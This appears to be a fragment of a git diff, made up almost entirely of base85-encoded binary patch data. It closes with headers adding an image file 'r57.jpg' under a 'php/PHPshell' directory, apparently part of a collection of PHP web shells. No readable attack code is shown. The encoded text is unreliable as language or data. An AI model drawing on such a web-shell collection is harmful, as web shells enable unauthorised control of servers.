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 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57】/r57.jpg b/php/PHPshell/【r57】/r57.jpg new file mode 100644 index 0000000000000000000000000000000000000000..dea896d92e012e5568d0b0c2a3b707a1ae1e2af4 GIT binary patch literal 93693 zcmeFYWmsInwl>%V_dtN)?i$=7I1K>;1b26LClE;R&;$q`TpNeR-QA_Tad(FR2@L0( zx#!$xzVpn?cW3Uu+5Ob7y?a-^yVj~&@4Hq#FFmgVUMtB1<pBr?2msTUAK)1VkO82f zprE24qoJarqNAf>U=d(rVPayD;J?8opdh89q#z|Hr>5s*qNZi1BPVATWMO~D&Bw<_ 